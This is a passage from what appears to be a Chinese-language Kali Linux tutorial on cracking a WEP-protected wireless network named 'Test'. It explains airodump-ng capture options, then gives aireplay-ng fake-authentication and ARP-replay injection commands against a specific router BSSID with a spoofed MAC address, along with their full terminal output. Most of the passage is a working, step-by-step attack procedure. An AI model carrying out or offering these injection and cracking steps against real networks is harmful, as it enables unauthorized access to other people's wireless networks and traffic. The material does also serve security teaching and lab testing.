airodump-ng命令常用的选项如下所示 。
- -c:指定选择的频道 。
- -w:指定一个文件名,用于保存捕获的数据 。
- -bssid:指定攻击的BSSID 。
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从输出的信息中可以看到ESSID为Test无线路由器的#Data一直在变化,表示有客户端正与无线发生数据交换 。以上命令执行成功后,会生成一个名为wirelessattack-01.ivs的文件,而不是wirelessattack.ivs 。这是因为airodump-ng工具为了方便后面破解的时候调用,所有对保存文件按顺序编了号,于是就多了-01这样的序号,以此类推 。在进行第二次攻击时,若使用同样文件名wirelessattack保存的话,就会生成名为wirelessattack-02.ivs文件 。
(6)打开一个新的终端窗口,运行aireplay命令 。aireplay命令的语法格式如下所示:
aireplay-ng -1 0 -a [BSSID] -h [our Chosen MAC address] -e [ESSID] [Interface]aireplay-ng -dauth 1 -a [BSSID] -c [our Chosen MAC address] [Interface]
启动aireplay,执行命令如下所示:root@kali:~# aireplay-ng -1 0 -a 14:E6:E4:AC:FB:20 -h 00:11:22:33:44:55 -e Test mon0The interface MAC (00:C1:40:76:05:6C) doesn\'t match the specified MAC (-h).ifconfig mon0 hw ether 00:11:22:33:44:5517:25:17 Waiting for beacon frame (BSSID: 14:E6:E4:AC:FB:20) on channel 117:25:17 Sending Authentication Request (Open System) [ACK]17:25:17 Switching to shared key authentication17:25:19 Sending Authentication Request (Shared Key) [ACK]17:25:19 Switching to shared key authentication17:25:21 Sending Authentication Request (Shared Key) [ACK]17:25:21 Switching to shared key authentication17:25:23 Sending Authentication Request (Shared Key) [ACK]17:25:23 Switching to shared key authentication17:25:25 Sending Authentication Request (Shared Key) [ACK]17:25:25 Switching to shared key authentication17:25:27 Sending Authentication Request (Shared Key) [ACK]17:25:27 Switching to shared key authentication17:25:29 Sending Authentication Request (Shared Key) [ACK]17:25:29 Switching to shared key authentication
(7)使用aireplay发送一些流量给无线路由器,以至于能够捕获到数据 。语法格式如下所示:aireplay-ng 3 -b [BSSID] -h [Our chosen MAC address] [Interface]
执行命令如下所示:root@kali:~# aireplay-ng -3 -b 14:E6:E4:AC:FB:20 -h 00:11:22:33:44:55 mon0The interface MAC (00:C1:40:76:05:6C) doesn\'t match the specified MAC (-h).ifconfig mon0 hw ether 00:11:22:33:44:5517:26:54 Waiting for beacon frame (BSSID: 14:E6:E4:AC:FB:20) on channel 1Saving ARP requests in replay_arp-0515-172654.capYou should also start airodump-ng to capture replies.Notice: got a deauth/disassoc packet. Is the source MAC associated ?Read 1259 packets (got 1 ARP requests and 189 ACKs), sent 198 packets…(499 ppsRead 1547 packets (got 1 ARP requests and 235 ACKs), sent 248 packets…(499 ppsRead 1843 packets (got 1 ARP requests and 285 ACKs), sent 298 packets…(499 ppsRead 2150 packets (got 1 ARP requests and 333 ACKs), sent 348 packets…(499 ppsRead 2446 packets (got 1 ARP requests and 381 ACKs), sent 398 packets…(499 ppsRead 2753 packets (got 1 ARP requests and 430 ACKs), sent 449 packets…(500 ppsRead 3058 packets (got 1 ARP requests and 476 ACKs), sent 499 packets…(500 ppsRead 3367 packets (got 1 ARP requests and 525 ACKs), sent 548 packets…(499 ppsRead 3687 packets (got 1 ARP requests and 576 ACKs), sent 598 packets…(499 ppsRead 4001 packets (got 1 ARP requests and 626 ACKs), sent 649 packets…(500 ppsRead 4312 packets (got 1 ARP requests and 674 ACKs), sent 699 packets…(500 ppsRead 4622 packets (got 1 ARP requests and 719 ACKs), sent 749 packets…(500 ppsRead 4929 packets (got 1 ARP requests and 768 ACKs), sent 798 packets…(499 ppsRead 5239 packets (got 1 ARP requests and 817 ACKs), sent 848 packets…(499 pps
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